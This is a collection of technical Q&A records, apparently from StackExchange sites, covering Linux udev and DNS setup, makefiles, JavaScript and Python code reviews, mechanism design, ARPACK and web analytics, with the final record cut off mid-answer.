{  "id": "_unix.105694"  , "question": "How can I disable USB device by Vendor ID? So I have:[root@piotr ~]# lsusbBus 001 Device 002: ID 058f:9254 Alcor Micro Corp. HubBus 001 Device 003: ID 0d8c:000c C-Media Electronics, Inc. Audio AdapterBus 001 Device 004: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)Bus 002 Device 004: ID 05e3:0608 Genesys Logic, Inc. USB-2.0 4-Port HUBBus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hubBus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 002 Device 006: ID 0bc2:3320 Seagate RSS LLC SRD00F2 [Expansion Desktop Drive]I want to disableBus 001 Device 003: ID 0d8c:000c C-Media Electronics, Inc. Audio AdapterI need this unit in Windows environment but it disturb me Skype input (and only Skype). As temporary solution I just included snd_usb_audio in modprobe blacklist. But it is only workaround.Or, (maybe better) is it possible to exclude this particular USB device from udev rules?  But in /usr/lib/udev/rules.d there is not definition for this device. I mean about VendorID.So my questions are:Why it is working at all and can be seen by ALSA?How can I exclude such VendorID and ProductID fron udev rules?Any idea wanted"  , "title": "How to disable a usb sound device with udev"  , "tags": "linux;udev;audio"  } 
{  "id": "_unix.28555"  , "question": "For example, I have git installed on my system.But I don't remember where I installed it, so which command is fit to find this out?"  , "title": "How to find application's path from command line?"  , "tags": "terminal;system calls"  , "accepted_answer": "If it is in your path, then you can run either type git or which git.  The which command has had problems getting the proper path (confusion between environment and dot files).  For type, you can get just the path with the -p argument.If it is not in your path, then it's best to look for it with locate -b git  It will find anything named 'git'.  It'll be a long list, so might be good to qualify it with locate -b git | fgrep -w bin."  } 
{  "id": "_codereview.94802"  , "question": "I've created a JavaScript image slideshow, using only JavaScript (no jQuery). I want to become more familiar with JavaScript, which is why I didn't use jQuery.My four requirements were: It must work if JavaScript is disabled.It must be responsive.It cannot use jQuery.It must work in IE 8.The code works - I'm just looking to see if I could make it more efficient.jsFiddle// Get array with photosvar photos = document.getElementsByTagName(figure); // Returns object of photosvar numPhotos = photos.length;var shownPhotoIndex;// Hide all photos except first by giving class of hide (if JS is not enabled, all photos will show)function hidePhotos() {    for (var i = 0; i < numPhotos; i++) {      if (photos[i] !== photos[0]) {        photos[i].className +=  hide;      } // end if statement    } // end for statement  } // end hidePhotosfunction positionButtons() {    var getImage = photos[0].children[0]; // IE 8 does not support photos[0].firstElementChild;    var imageHeight = (getImage.height);    var imageWidth = (getImage.width);    var paddingTop = (imageHeight / imageWidth) * 100;    paddingTop = +paddingTop.toFixed(2);    var percent = paddingTop + %;    document.getElementById(previous).style.paddingBottom = percent;    document.getElementById(next).style.paddingBottom = percent;  }    // Add controls (if JS is not enabled; controls will not be present)function addControls() {    var slideshow = document.getElementById(slideshow);    // Create buttons    var spanNext = document.createElement(span);    var spanPrevious = document.createElement(span);    // Give buttons IDs    spanNext.setAttribute(id, next);    spanPrevious.setAttribute(id, previous);    // Add buttons to slideshow div    slideshow.appendChild(spanNext);    slideshow.appendChild(spanPrevious);    // Add content to buttons    document.getElementById(next).innerHTML = <p>>></p>;    document.getElementById(previous).innerHTML = <p><<</p>;    // Calculate position of buttons    positionButtons();  } // end addControls  // Find curently shown photofunction findShownPhoto() {    for (var i = 0; i < numPhotos; i++) {      // if the image does not contain a class of hide      if (photos[i].className.indexOf(hide) == -1) {        shownPhotoIndex = i;      } // end if statement      } // end for statement  } // end findShownPhotofunction progressSlides() {    var next = document.getElementById(next);    // When the next button is clicked, show next photo    next.onclick = function() {        var nextPhoto;        findShownPhoto();        // If current photo is last photo, go to first photo        if (shownPhotoIndex === (numPhotos - 1)) {          nextPhoto = photos[0];        } else {          nextPhoto = photos[shownPhotoIndex + 1];        }        // Hide current photo        // Add the hide class to the list of existing classes        photos[shownPhotoIndex].className +=  hide;        // Show next photo by removing hide class        // Create a new string with classes that removes hide        var newClass = nextPhoto.className.replace(hide, );        nextPhoto.className = newClass;    }; // end next click    var previous = document.getElementById(previous);    previous.onclick = function() {        var prevPhoto;        findShownPhoto();        // If current photo is first photo, go to last photo        if (shownPhotoIndex === 0) {          prevPhoto = photos[numPhotos - 1];        } else {          prevPhoto = photos[shownPhotoIndex - 1];        }        // Hide current photo        photos[shownPhotoIndex].className +=  hide;        // Show previous photo        var newClass = prevPhoto.className.replace(hide, );        prevPhoto.className = newClass;    }; // end previous click  } // end progressSlides  // Run JS after images have downloaded  window.onload = function() {  addControls();  progressSlides();};hidePhotos();/* INSTRUCTIONS All photos should be wrapped in figure elements and should be the same sizeCompress photos before uploading (save originals)*/body {  box-sizing:border-box}figure {  margin:0}#slideshow {  display:inline-block;  padding:0;  position:relative;/* To position slideshow buttons */  max-width:920px}.photo {  margin:0;  position: relative;  /* To position captions */}.hide {  display:none}#slideshow img {  width:100%;  border-top-left-radius:10px;  border-top-right-radius:10px}#slideshow figcaption {  background-color:#000;  color:#fff;  padding:1em;  border-bottom-right-radius:10px;  border-bottom-left-radius:10px;  font-family:Helvetica,Arial,Tahoma,sans-serif;  font-size:15px;  line-height:150%;  margin-top:-5px}#previous,#next {  height:0;/* Padding-bottom is added via JS; calculates based on height of image */  position:absolute;  top:0}#previous p,#next p {  margin:0;  display:table;  padding:1em 10px;  color:#fff;  font-family:Arial;  font-size:24px;  background-color:#000;  text-align:center;  font-weight:700;  opacity:.8;  position:absolute;/* positioned in relation to the #previous and #next spans */  top:50%;  margin-top:-1.6em/* previously used transformY(-50%) to bring arrow up half the width of itself; not supported in IE 8 */}#previous p {  left:0;  border-radius:0 5px 5px 0}#next p {  right:0;/*moves button to right corner of span instead of left */  border-radius:5px 0 0 5px}#previous {  left:0}#next {  right:0}#previous:hover,#next:hover {  opacity:.5;  cursor:pointer;  cursor:hand}   <div id=slideshow>                <figure class=image>                    <img src=https://c1.staticflickr.com/9/8584/16136057529_e7b64928d0_z.jpg  />                    <figcaption>This is an example of a really long caption. Here I go. Do I wrap to a second line? Wrap wrap wrap wrap. Wrap Wrap Wrap Wrap Wrap Wrap Wrap Wrap Wrap Wrap Wrap</figcaption>                </figure>                <figure class=image>                    <img src=https://c4.staticflickr.com/8/7495/16322256485_08ee0ee36f_z.jpg />                    <figcaption>Insert caption</figcaption>                </figure>                <figure class=image>                    <img src=https://c2.staticflickr.com/8/7474/16120961661_8dc12962dd_z.jpg />                    <figcaption>Insert caption</figcaption>                </figure>               "  , "title": "JavaScript Image Slideshow"  , "tags": "javascript;image"  } 
{  "id": "_softwareengineering.55469"  , "question": "In theory, customers should be able to feel the software performance improvements from first-hand experience.In practice, sometimes the improvements are not noticible enough, such that in order to monetize from the improvements, it is necessary to use quotable performance figures in marketing in order to attract customers.We already know the difference between perceived performance (GUI latency, etc) and server-side performance (machines, networks, infrastructure, etc).How often is it that programmers need to go the extra length to write up performance analyses for which the audience is not fellow programmers, but managers and customers?"  , "title": "How often is software speed evident in the eyes of customers?"  , "tags": "optimization;performance"  , "accepted_answer": "Although @jwenting makes some good points, I have to disagree with the general assessment.A user often does not notice minor  performance improvements.With that, I can agree.Where I disagree revolves around this statement:most end-user facing applications spend  most of their time waiting for user  input.Now, before you jump up and down, I agree with that statement too! However, this statement highlights a fact often overlooked by those who do not adequately understand how a user really perceives a system.A user will notice that an application is slow when they have to wait for it to load. A user will notice it when they have to pause for the program in between entering their data.Software performance is evident for a user when it breaks up a natural and fluid interaction with the system.A user will only not notice system performance when it is functioning perfectly and not holding up the user."  } 
{  "id": "_unix.253844"  , "question": "I have a little problem, and hope that anyone can help me. I've written a bash script which should cd me to a directory. My problem is that only the directory in the subshell changes.I've read of many similar problems to this, but I want to know if there is a solution besides using an alias, a function or sourcing the script.If you don't understand what I mean, here's an example:user@linux ~: cat ./myscript.sh#!/bin/bashcd /any/directoryuser@linux ~: ./myscript.shuser@linux ~: Please note that my script is much longer, so I don't want to use a function!"  , "title": "cd in bash script without alias, function, source"  , "tags": "shell script;cd command;subshell"  } 
{  "id": "_unix.254126"  , "question": "I want to count number of files in current directory that contain the phrase HW. I tried ls -l | grep HW | wc -l"  , "title": "How to count the number of files in current directory that contain a specific phrase?"  , "tags": "linux;bash;command line"  } 
{  "id": "_unix.261233"  , "question": "My notebook gets its DNS servers via DHCP.When I start a VPN session (pptp, managed my networkmanager), the DNS servers received from that VPN session are queried first.I'd like to use the DNS servers of the VPN only if my primary DNS returns NXDOMAIN.How do I do that?/etc/resolv.conf# Generated by NetworkManagerdomain homesweethomesearch homesweethomenameserver 192.168.1.1traceroute 8.8.8.8 when connected to VPN 1  sheldon.homesweethome (192.168.1.1)  0.714 ms  0.880 ms  1.001 ms 2  * * * 3  172.30.12.49 (172.30.12.49)  13.693 ms  14.181 ms  14.316 ms 4  84.116.191.49 (84.116.191.49)  15.067 ms  15.199 ms  15.336 ms 5  * * * 6  216.239.56.106 (216.239.56.106)  22.409 ms  14.401 ms  14.447 ms 7  216.239.57.192 (216.239.57.192)  14.414 ms 216.239.57.188 (216.239.57.188)  22.950 ms 216.239.57.127 (216.239.57.127)  22.846 ms 8  66.249.95.23 (66.249.95.23)  22.992 ms 66.249.95.39 (66.249.95.39)  23.832 ms 209.85.253.216 (209.85.253.216)  23.556 ms 9  74.125.37.150 (74.125.37.150)  28.828 ms  28.571 ms  24.278 ms10  209.85.246.160 (209.85.246.160)  21.975 ms 216.239.42.98 (216.239.42.98)  21.467 ms 216.239.51.207 (216.239.51.207)  23.297 ms11  * * *12  google-public-dns-a.google.com (8.8.8.8)  22.556 ms  23.421 ms  23.266 mstraceroute 8.8.8.8 when not connected 1  sheldon.homesweethome (192.168.1.1)  0.651 ms  3.098 ms  4.927 ms 2  * * * 3  172.30.12.49 (172.30.12.49)  16.504 ms  16.791 ms  17.125 ms 4  84.116.191.49 (84.116.191.49)  17.186 ms  23.111 ms  23.277 ms 5  * * * 6  216.239.56.22 (216.239.56.22)  25.766 ms 216.239.56.178 (216.239.56.178)  17.433 ms 216.239.56.22 (216.239.56.22)  18.432 ms 7  216.239.57.182 (216.239.57.182)  17.526 ms  14.840 ms 216.239.57.190 (216.239.57.190)  15.748 ms 8  209.85.253.216 (209.85.253.216)  17.661 ms 66.249.95.39 (66.249.95.39)  17.786 ms  18.213 ms 9  74.125.37.154 (74.125.37.154)  29.039 ms 74.125.37.103 (74.125.37.103)  28.667 ms 74.125.37.97 (74.125.37.97)  25.168 ms10  209.85.250.165 (209.85.250.165)  25.532 ms  24.350 ms 216.239.51.149 (216.239.51.149)  25.776 ms11  * * *12  google-public-dns-a.google.com (8.8.8.8)  22.513 ms  22.979 ms  22.484 ms/etc/ppp/resolv.confnameserver 10.11.10.101nameserver 10.11.10.102"  , "title": "Debian: Order of DNS servers when using VPN"  , "tags": "debian;dns;networkmanager"  , "accepted_answer": "The access for internal resources when having a active VPN connection is only supposed to work if you have Split Tunneling active. Split tunnelingSplit tunneling is a computer networking concept which allows a mobile  user to access dissimilar security domains like a public network  (e.g., the Internet) and a local LAN or WAN at the same time, using  the same or different network connections.With split tunneling, it is then a matter of the DNS order server having the DNS of the VPN at the top and your normal DNS servers at the end. By the normal inner workings of DNS, the top ones failing the request will trickle down to the bottom ones. You seem to have already split tunnelling active per our debugging, so as a quick fix, it is a matter of adding your DNS to /etc/ppp/resolv.conf.As for having a more generic approach, this page talks about using dnsmasq.DNS routing after PPTP connectionA solution would be to run a local DNS server that can forward queries  to other DNS servers based on subdomain/domain.Ubuntu's network-manager already runs a local DNS server  (dnsmasq-base) however the required options are not available so  disable it then install and configure the full dnsmasq package as  follows:1) Comment out dns=dnsmasq from /etc/NetworkManager/NetworkManager.conf  2) Restart network-manager: sudo service network-manager restart  3) Install dnsmasq package: sudo apt-get install dnsmasq  4) Edit /etc/dnsmasq.conf and add:  address=/.mywork/VPN_DNS_IP address=/#/INTERNET_DNS_IP  5) Restart  dnsmaq: sudo service dnsmasq restartI will also leave here a link concerning security with VPN protocols.PPTP VS L2TP/IPSEC VS OPENVPNThe Microsoft implementation of PPTP has serious security  vulnerabilities. MSCHAP-v2 is vulnerable to dictionary attack and the  RC4 algorithm is subject to a bit-flipping attack. Microsoft strongly  recommends upgrading to IPSec where confidentiality is a concern."  } 
{  "id": "_unix.343144"  , "question": "My source code is in src directory and my object files go to the AS5 directory.Here is my make file:CC = g++CFLAGS =-c -std=c99 -g -w -Wno-deprecated -D_FILE_OFFSET_BITS=64 -DATOMIC_BUILT_IN -DIB_USE_STD_STRING -Wall -Wno-switchWORKING_DIR     = $(HOME)/JYOTIPLATFORM        = AS5BASICOBJS            = JYOTI.o OnixMDP3InputAdapter.o FixInputAdapter.o SGXInputAdapter.o SGXITCHProcess.o DGCXTBTInputAdapter.o DGCXMulticastInputAdapter.o NSECMDirectGateWay.o Profiler.o MCXXStreamInputAdapter.o MultipleConnectionReceiver.o EClientSocketBase.o EPosixClientSocket.o IBInputAdapter.o IDCInputAdapter.o NSEUdpInputAdapter.o InputAdapter.o BSEInputAdapter.o DGCXInputAdapter.o EmapiTagParser.o MCXInputAdapter.o OutputAdapter.o TBTProcess.o DataStructure.o NSETBTDataStructure.o LogQueue.o ServiceManager.o TCPSender.o PracticalSocket.o PriceMonitor.o Latency.o TCPInputAdapter.o AvgDiff.o MulticastInputAdapter.o MulticastOutputAdapter.o TBTInputAdapter.o LogStandard.o Common.o Event.o Utils.o MultipleIndexOutputAdapter.o DependendLib.o StringSplitter.oOBJSWITHSYM     =SymExample.o SymFlusher.o SymInputAdapter.oOBJWITHOADT     =  CFixGateWay.o DMA.o FixClient.o NSECMDirectGateWay.o MStrat2Way.o MStratOpt.o Basket.o IndexBasket.o RevBasket.o NSECDDirectGateWay.o BseGateWay.o Portfolio.o BasePortfolio.o MyPortfolio.o SLOFIX.o SLOFIXNEG.o SpreadBidding.o TwoLIOCSpd.o LatencyCheckPortfolio.o SLOSPR.o SLOSPRNEG.o SLO3WAY.o MStrat.o MulLegSynFut.o MAMR.o NSEFOGateWay.o NSECMGateWay.o SGXGateWay.o OrderAdapter.o OrderAdaptersInterface.o TCPListener.o FixGateWay.o DFixGateWay.o MAMRA.o FConBx.oOBJMCXOADT      =MCXGateWay.oOBJS    =$(BASICOBJS)ifneq ($(AM),64)        CC      +=-m32        CFLAGS  += -march=i686        SYME=::::      To Compile 64 bit binary, Usage: <make AM=64>endififneq ($(SE),0)        SE=1        SYME+=::::      To Compile without flex, Usage: <make SE=0>else        SE=0endififeq ($(SE),1)        OBJS    += $(OBJSWITHSYM)        CFLAGS  +=-DSYMAVAILABLEendififeq ($(ML),1)        CFLAGS  +=-D_MESURE_LATENCYelse        SYME+= :::::  To Enable Latency Mesurement, Usage: <make ML=1>endififeq ($(OADT),1)        OBJS    +=$(OBJWITHOADT)        CFLAGS +=-DISORDADPT        LIB     += -lsslelse        SYME+= :::::  To Enable Order Adapter, Usage: <make OADT=1>endififeq ($(MCXOADT),1)        OBJS    +=$(OBJMCXOADT)        CFLAGS  +=-DISMCXORDADPTelse        SYME+= :::::  To Enable MCX Order Adapter, Usage: <make MCXOADT=1>endififeq ($(FIXADT),1)        CFLAGS +=-DISFIXADPTelse        SYME+= :::::  To Enable Fix Adapter, Usage: <make OADT=1 FIXADT=1>endififeq ($(COND),1)        CFLAGS +=-DISCONDITIONelse        SYME+= :::::  To Enable Condition variable, Usage: <make COND=1>endifLDFLAGS =  -L../../lib -L/usr/local/lib -Wl,-rpath,../../lib  -Wl,-rpath=/usr/local/lib -Wl,-rpath=./lib -lboost_thread -lboost_system -lboost_atomic -L/usr/local/lib  -Wl,-rpath=/home/sys64/tbb2017_20161128oss/lib/intel64/gcc4.1/ -L/home/sys64/tbb2017_20161128oss/lib/intel64/gcc4.1/ #/usr/lib64/libonload_ext.soINC      = -I$(FLEXSYS)/lzo-1.07/srcINC     += -I$(FLEXSYS)/lzo-1.07/includeINC     += -I$(FLEXAPP)/flex/apinew/includeINC     += -I$(WORKING_DIR)/incINC     += -I$(WORKING_DIR)/inc/IBincINC     += -I$(WORKING_DIR)/srcINC     += -I/usr/include/INC     += -I/usr/include/openssl/INC     += -I../boost_1_55_0/INC     += -I/usr/local/includeINC     += -I../tbb2017_20161128oss/include/LIB     += $(WORKING_DIR)/lib64/libsymproxy.aLIB     += $(WORKING_DIR)/lib64/libflexapi.aLIB     += $(WORKING_DIR)/lib/libACE.soLIB     += $(WORKING_DIR)/lib/libOnixS.CmeMdp3HandlerCpp.soLIB     += /usr/local/lib/libz.aLIB     +=/usr/local/lib/liblzo.a#LIB     +=$(WORKING_DIR)/lib/libqed.a#LIB     +=$(WORKING_DIR)/lib/libconfig.aLIB     += -lm -lstdc++ -z muldefs -lpthread -lrt -ltbbDEF      = -DFOR_UNIX -DFOR_LINUXDEF     += -D_REENTRANTDEF     += -D_POSIX_PTHREAD_SEMANTICSDEF     += -D__STL_PTHREADSRM      = rm -rfall: JYOTI%.o : %.cpp        -@if [ ! -d $(PLATFORM) ] ; then mkdir -p $(PLATFORM); fi;        $(CC) $(CFLAGS) $(INC) $(DEF) $< -o $(PLATFORM)/$@JYOTI: clean $(OBJS)        cd $(PLATFORM);$(CC) $(LDFLAGS) $(OBJS) $(LIB) -o $@clean:        $(RM) log AS5/*        @echo $(SYME)        @echo"  , "title": "how to build with make so that only the changed files get build"  , "tags": "make"  } 
{  "id": "_cstheory.36202"  , "question": "I am learning algorithmic game theory with the lecture notes posted by Tim Roughgarden. In lecture 5 it is proved that the problem of revenue (or profit) maximization in single-parameter environment is equivalent to maximizing something called virtual welfare. I find it hard to understand the logic of the proof.The very first step of the proof assumes that the payment rule is exactly in the form given by Myerson's lemma:$$p_i(b_i,\\mathbf{b}_{-i})=\\int_0^{b_i}z\\cdot x'_i(z,\\mathbf{b}_i)\\mathrm{dz}$$where $x'_i(z,\\mathbf{b}_i)$ is the derivative of the allocation rule $x'_i(z,\\mathbf{b}_i)$. Then substitute the formula of payment into the profit object$$\\mathbb{E}\\left[\\sum_{i=1}^n\\mathbf{p}(\\mathbf{v})\\right]$$with some calculus the virtual-welfare magically shows up.Then the author claims that maximizing the virtual welfare is equivalent to maximizing revenue, and if the corresponding allocation rule is monotone then we get a optimal DSIC mechanism. I have two questions about this:The result relies on the assumption that the payment rule is given in the previous form. Why does it must be in that form? The proof feels like some circular reasoning. Is this because that we are restricted on searching only for DSIC mechanism?Furthermore, sometimes there exists no monotone allocation rule to optimize the deduced virtual welfare, but does this also mean that there exists no monotone rule to optimize the original profit?"  , "title": "The logic in derivation of virtual welfare"  , "tags": "gt.game theory;combinatorial game theory;mechanism design"  } 
{  "id": "_webapps.22153"  , "question": "I have email from my personal domain POP'ed by my Gmail account. It works beautifully, except that it can't seem to do auto-replies.That means that I can't have an away message when I'm on vacation. And it means I can't create filters using canned responses.(I know that Canned Responses only apply to new, incoming messages that arrive through SMTP [directly sent to Gmail], not to messages fetched through POP3.)How can I make this work within Gmail?If I don't have access to mail forwarding on my old account, what other options do I have? "  , "title": "Make Gmail send automatic canned responses for email it gets via POP"  , "tags": "gmail;gmail canned response"  , "accepted_answer": "Short answerInstead of using POP use email forwarding from your other account to be able to use Filters and Canned Responses in GmailExplainationit can't seem to do auto-repliesI beg to differ.Make sure Canned Responses is activated:Then you create a filter for emails that are sent to your old email address: to:(my.old.address@example.com)EDIT: Note that this will not work for mails fetched through POP3, only for forwarded messages. If your old account has an auto-forwarding feature, that's the way to go. (The other answer here pointed this out.)You call the filter, say, Old. Then you select a canned response for that filter. Actually, you don't even need to do that. You can autorespond to these emails just the same just by creating a filter for them.Look at this screenshot:"  } 
{  "id": "_unix.248310"  , "question": "I have Installed virtualbox-dkms$ sudo apt-get install virtualbox-dkmsDKMS: install completed. * Stopping VirtualBox kernel modules                                                                                                              [ OK ] * Starting VirtualBox kernel modules                                                                                                              [ OK ]Setting up virtualbox (4.3.34-dfsg-1+deb8u1ubuntu1.14.04.1) ... * Stopping VirtualBox kernel modules                                                                                                              [ OK ] * Starting VirtualBox kernel modules                                                                                                              [ OK ]Setting up virtualbox-qt (4.3.34-dfsg-1+deb8u1ubuntu1.14.04.1) ...$ vagrant upBringing machine 'default' up with 'virtualbox' provider...==> default: Importing base box 'lucid32'...==> default: Matching MAC address for NAT networking...==> default: Setting the name of the VM: chef-repo_default_1449661717604_69994==> default: Clearing any previously set network interfaces...==> default: Preparing network interfaces based on configuration...    default: Adapter 1: nat==> default: Forwarding ports...    default: 22 => 2222 (adapter 1)==> default: Booting VM...==> default: Waiting for machine to boot. This may take a few minutes...    default: SSH address: 127.0.0.1:2222    default: SSH username: vagrant    default: SSH auth method: private key    default: Warning: Connection timeout. Retrying..."  , "title": "Connection timeout error for vagrant up"  , "tags": "ssh;vagrant;chef"  } 
{  "id": "_scicomp.25837"  , "question": "I am trying out the arpack driver dsdrv1, which is used to iteratively obtain the first m eigenvectors from the eigenvalue problem.$$\\hat{A}\\mathbf{x} = \\lambda\\mathbf{x}$$As it is an iterative procedure, a good initial guess will reduce the number of iterations needed for convergence. One of the best initial guesses is presumably the correct eigenvectors (obtained, for example, from a previous run).With arpack's dsdrv1 driver, You can supply an initial guess through the NxN residual array passed to dsaupd, which is fine if you are only computing one eigenvector. However, I am computing m eigenvectors.I.e. Say I have m correct eigenvectors obtained from a previous run of dsdrv1. How would I utilise these vectors to minimise the number of iterations in a new call to dsdrv1.I've tried feeding the lowest converged eigenvector back into the procedure by assigning it to the residual array and setting info to 1. Only a few iterations are required if I'm only calculating the first eigenvector. But when I calculate more, the initial guess is worse than a random initial vector. I've also tried feeding the average of all eigenvectors as an initial guess, but no luck either.In short, if I have all the data from a successful dsdrv1 calculation, can I use it to minimise the number of iterations in a 2nd dsdrv1 run applied to the same eigenvalue problem?"  , "title": "Iteratively obtaining m eigenvectors using arpack: If I have a good initial guess, how do I use it?"  , "tags": "eigenvalues;arpack"  , "accepted_answer": "Since no one else has responded to this, I'll take a shot at it.I'm doubtful you will find an option like you are looking for in Arpack.Here is why I think that. The algorithms in Arpack are based on constructinga vector subspace called a Krylov sequence as follows$$K = \\{x, Ax, A^2x, A^3x... A^nx\\}$$where $x$ is the single vector you are allowed to specify if you wish.If you could set more than a single vector, the subspace would notnecessarily be a Krylov sequence that the algorithm requires.You say that you have had poor experience choosing the starting $x$ asthe first eigenvector from a previous analysis.There is a very good reason why this isparticularly bad choice when you want to calculate several eigenvalues.If you look closely at the Krylov sequence you will see that it simplyimplements the power method of calculating the eigenvector correspondingto the largest eigenvalue of A. Since $x$ is a relatively good approximation to the eigenvector with largest eigenvalue, all of the remaining vectors also are increasingly good approximations to this first eigenvector.  The complete subspace has almost no componentsof the other eigenvectors you want to calculate.If you are willing to consider alternative eigenvalue solvers and algorithms,the subspace iteration algorithm might be more efficient in your particularcase. It has some similarities to the Krylov-based solvers like Arpack butit is generally less efficient.However it allows you to specify an arbitrary vector subspace like yourprevious set of eigenvectors and that can significantly improve its efficiency.The software package SLEPc includes asubspace iteration algorithm among its many options."  } 
{  "id": "_webmaster.68907"  , "question": "I am building a translation website. One of my priorites is load times. Recently I added a Google Analytics tracking script, which provides exceptionally complex information about the site, but also increased my load times, significantly. Has anyone found a good solution - A simple way to measure stats - Without the dramatic slowing of load times."  , "title": "Best way to find out how many hits a site gets, without slow load times"  , "tags": "google;google analytics;statistics;translation;statcounter"  , "accepted_answer": "Google should not slow you down much. You can move the JavaScript code to the bottom of the page which may help with loading. If that does not speed things up enough, then consider the following.You will need a performance analysis tool. There are several to chose from.http://piwik.org/ is likely the best or near the best. Piwik is not a log analysis tool and uses a bug, but since it installed on your computer, it will be a lot faster.Other options are:http://www.awstats.org/ (log file based)http://www.webalizer.org/ I have used this in past for my web host customers. (log file based)I also used SawMill (still do) and created automated custom e-mail reports for my customers, but SawMill is fairly expensive.I am not a huge fan of Google Analytics. There is valuable information that only Google can provide so it should be a tool in your arsenal. I do use it. But it does not give a complete picture of what is going on. Always use a separate log file analysis tool. Google Analytics can be confusing. However, a log analysis tool cannot provide what Google can so it remains a valuable tool. Both will empower you to make solid decisions."  } 
{  "id": "_codereview.56873"  , "question": "Please suggest improvements/refactoring to this game to make it more idiomatic Python.import randomimport timeclass Hero:    def __init__(self):        self.level = 1        self.max_hp = 3        self.hp = self.max_hp        self.attack = 5 + self.level        self.defense = 5 + self.level        self.name = ''        self.xp = 0    def name_self(self):        self.name = raw_input(What do you call yourself, anyway? )        if self.name == :            self.name_self()    def heal_self(self):        amount = self.xp * .2        self.hp += amount        print You attempt to heal yourself...        time.sleep(1)        print You healed yourself for %d HP, but used half your XP. Feels good, man. % amount        self.xp *= .5        self.hp_limit()    def hp_limit(self):        if self.hp > self.max_hp:            self.hp = self.max_hp    def death(self):        print Sorry, %s, you is dead now. % (self.name)        time.sleep(1)        print Well, aren't you lucky, there is an afterlife after all.    def xp_up(self, xp):        self.xp += xp        print You gain: %s XP % xp    def look_self(self):        print (You are %s, not from around here.) % self.name        print (You are level %s with %s attack and %s defense.) % (self.level, self.attack, self.defense)        print (You need %s XP to level up.) % (self.level**2 * 10)class Monster:    def __init__(self, name):        self.name = name        self.hp = random.randint(2,10)        self.attack = random.randint(2,5)        self.defense = random.randint(2,5)        self.xp = random.randint(2,8)class Room:    def __init__(self, key):        self.room_data = {            home:{description:You're at home. This is where you live, unfortunately.,                    exits:[forest]},            forest:{description:You're in a dark forest. It's fairly gloomy.,                    exits:[home, lake]},            lake:{description:You see a lake circled by rocks. It's too cold to swim.,                    exits:[forest,mountain]},            mountain:{description:You can see for miles around. Don't fall off.,                    exits:[lake]},            }        self.description = self.room_data[key][description]        self.exits = self.room_data[key][exits]        self.name = str(key)        self.monster_list = {}class Game:    def __init__(self):        self.command_list = [look,name,fight,heal,'report','move','?']        self.hero = Hero()        self.current_room = Room(home)    def list_commands(self):        print 'Commands are', ', '.join(self.command_list[:-1]), 'and', self.command_list[-1] + '.'    def handle_input(self):        com = raw_input(self.prompt()).lower().split()        if len(com) < 1:            print (Huh?)        elif com[0] == fight:            if len(com) > 1:                if com[1] in self.current_room.monster_list:                    self.combat(self.hero, self.current_room.monster_list[com[1]])            else:                print Fight what?        elif com[0] == report:            self.hero.look_self()        elif com[0] == look:            if len(com) > 1:                if com[1] in self.current_room.monster_list:                    self.look_monster(self.current_room.monster_list[com[1]])                else:                    print You don't see that monster.            else:                self.look()        elif com[0] == move:            if len(com) > 1:                self.move(com[1])            else:                print Move where?, You can exit to: %s % ', '.join(self.current_room.exits)        elif com[0] == name:            self.hero.name_self()        elif com[0] == info:            self.info()        elif com[0] == heal:            self.hero.heal_self()        elif com[0] == ?:            self.list_commands()        else:            print (lol wut)    def combat(self, attacker, defender):        while defender.hp > 0 and attacker.hp > 0:            attack = int(random.random() * attacker.attack)            defense = int(random.random() *defender.defense)            print Attack: %s vs Defense: %s % (str(attack), str(defense))            if attack > defense:                print You hit the %s for %s HP. % (defender.name.capitalize(), str(attack))                defender.hp -= attack            elif attack == defense:                print The attack missed. You feel kind of disappointed.            else:                print (The %s hit you for %s HP and it hurt real bad.) % (defender.name.capitalize(), str(attack))                self.hero.hp -= attack                if self.hero.hp < 2:                    print You attempt to escape...                    time.sleep(1)                    break            time.sleep(.5)        if defender.hp < 1:            print You killed the %s. How sad for the %s's family. % (defender.name.capitalize(), defender.name.capitalize())            self.hero.xp_up(defender.xp)            del self.current_room.monster_list[defender.name]        if self.hero.hp < 1:            self.hero.death()    def level_up(self):        if self.hero.xp > self.hero.level**2 * 10:            self.hero.level += 1            print You've reached level  + str(self.hero.level)            self.hero.max_hp += self.hero.level            self.hero.hp = self.hero.max_hp    def populate(self):        for i in range(self.hero.level):            new_monster = random.choice([ogre, orc, goblin])            self.current_room.monster_list[new_monster] = Monster(new_monster)    def look(self):        print self.current_room.description        print You can exit to: %s % ', '.join(self.current_room.exits)        monster_list= []        for name in self.current_room.monster_list:            monster_list.append(self.current_room.monster_list[name].name.capitalize())        if monster_list:            print You see: %s % ', '.join(monster_list)    def look_monster(self, monster):        print (The %s has %s HP, %s attack, %s defense, and is worth %s XP.            % (monster.name.capitalize(), monster.hp, monster.attack, monster.defense, monster.xp))    def move(self, exit):        if exit in self.current_room.exits:             self.current_room = Room(exit)             self.populate()             self.look()        elif exit == self.current_room.name:            print (You're already here.)        else:            print (You can't get there from here.)    def update(self):        self.level_up()        if self.hero.hp <= 0:            self.hero.death()            time.sleep(2)            game = Game()    def prompt(self):        return '\\n' + self.hero.name +  HP: + str(int(self.hero.hp)) +  XP: + str(self.hero.xp) +  >    def output(self):        passgame = Game()game.populate()print (Welcome, adventurer.)game.list_commands()game.hero.name_self()game.hero.look_self()game.look()while True:    game.handle_input()    game.update()    game.output()"  , "title": "Text-based adventure game with combat and game-reset functionality"  , "tags": "python;game;python 2.7;console"  , "accepted_answer": "A few suggestions:Simplify and reduce duplication using inheritance, for example:class Character(object): # note new-style classes    def __init__(self, name, hp, attack, defence, xp):        self.name = name        self.hp = hp        self.attack = attack        self.defence = defence        self.xp = xpclass Monster(Character):    def __init__(self, name):        super(Monster, self).__init__(name, random.randint(2,10),                                      random.randint(2,5),                                       random.randint(2,5),                                      random.randint(2,8))class Hero(Character):    MAX_HP = 3    def __init__(self, level=1):        super(Hero, self).__init__('', self.MAX_HP, level+5,                                    level+5, 0)        self.level = levelMove general class data out of the instance:class Room(object):    ROOM_DATA = {home: {description: You're at home. This is where you live, unfortunately.,                          exits: [forest]},                 forest: {description: You're in a dark forest. It's fairly gloomy.,                            exits: [home, lake]},                 lake: {description: You see a lake circled by rocks. It's too cold to swim.,                          exits: [forest, mountain]},                 mountain: {description:You can see for miles around. Don't fall off.,                              exits: [lake]}}    def __init__(self, key):        self.description = self.ROOM_DATA[key][description]        self.exits = self.ROOM_DATA[key][exits]        self.name = str(key)        self.monster_list = {}Similarly e.g. Game.COMMAND_LIST isn't 